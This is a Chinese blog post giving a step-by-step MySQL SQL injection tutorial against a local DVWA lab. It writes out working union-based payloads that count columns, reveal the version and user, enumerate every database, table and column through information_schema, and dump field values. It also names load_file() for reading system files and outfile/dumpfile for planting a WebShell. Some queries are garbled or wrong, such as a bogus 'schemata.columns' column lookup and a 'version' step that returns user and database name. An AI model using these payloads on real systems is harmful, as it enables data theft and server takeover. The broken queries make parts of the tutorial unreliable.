😍MySQL注入

2020-08-04  本文已影响0人  卿酌南烛_b805

🤴一、首先判断MySQL数据库版本

' union select user(),database()+--+ 查询数据库的版本。

MySQL 4版本数据库由于存在着字符转义与不支持字句查询的情况,因此在注入攻击上存在着很大的局限性,只能采用类似Access的方法进行查询猜解。

首先,利用order by获得当前表的字段数,再使用union select联合查询来获取想要的数据库信息。使用union select联合查询数据库时,由于不知道数据库中的表名与字段名,因此只能像Access一样直接用常见表名和字段名进行猜测判断。

MySQL 5版本由于information_schema库的存在,注入攻击相对来说方便了许多

通过load_file()函数来读取脚本代码或系统敏感文件内容,进行漏洞分析或直接获取数据库连接账号、密码。

通过dumpfile/outfile函数导出获取WebShell。


爆数据库版本

'union select user(),version()+--+&Submit=Submit#

检测注入点字段数目

order by和union select

通过order by查出字段数目N,然后联合查询。

and1=2 union select 1,2,3,4...,N--

http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1' and 1=2 union select 1,2+--+&Submit=Submit#没报错到3就报错,说明2个字段

快速爆数据库版本、数据库名、链接用户

得到注入点处字段数目为“2"。再一次爆出数据库版本、数据库名和链接用户信息。

http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/ id=1' union select user(),version()--+&Submit=Submit# +--+&Submit=Submit

得到数据库版本为5.1.50,数据库名为“dvwa 数据库用户名为root "

爆出所有库名

在MySQL 5版本数据库中,由于新增加了一个information_schema库,该库中存储了数据库信息内容,因此可以直接爆库、爆表、爆字段,让注入攻击变得极为简单

' union select 1,group_concat(schema_name) from information_schema.schemata+--+&Submit=Submit 获取mysql所有库

爆出所有数据库名,共有9个数据库:information_schema,dedecms,dvwa,e,mambo......

爆当前库里面所有表名

http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1'and1=2 union select 1,group_concat(table_name) from information_schema.tableswhere table_schema=database()+--+&Submit=Submit



爆表中的字段名

 union select group_concat(SCHEMA_NAME) from information_schema.schemata.columns where table_name=表名的十六进制编码

该语句是将指定的表名转换为十六进制编码,查询该表名中“COLUMNS”表中存储的与该表名相同的数据库中的所有字段名,从而获得当前数据库指定表中的所有字段名。


爆指定字段值

select group_concat(字段名1,0x7c,字段名2) from 表名

该语句是通过查询指定表中指定字段名的值,在此查询语句中就不必对字段名和表名进行十六进制编码转换了。其中有一个Ox7c是分隔符“|”的十六进制编码,用于对查询结果中的字段名进行分隔显示。


当数据库版本为4的时候

使用利用order by获得当前表的字段数,再使用union select联合查询来获取想要的数据库信息。使用union select联合查询数据库时,由于不知道数据库中的表名与字段名,因此只能像Access一样直接用常见表名和字段名进行猜测判断。




上一篇 下一篇

猜你喜欢

热点阅读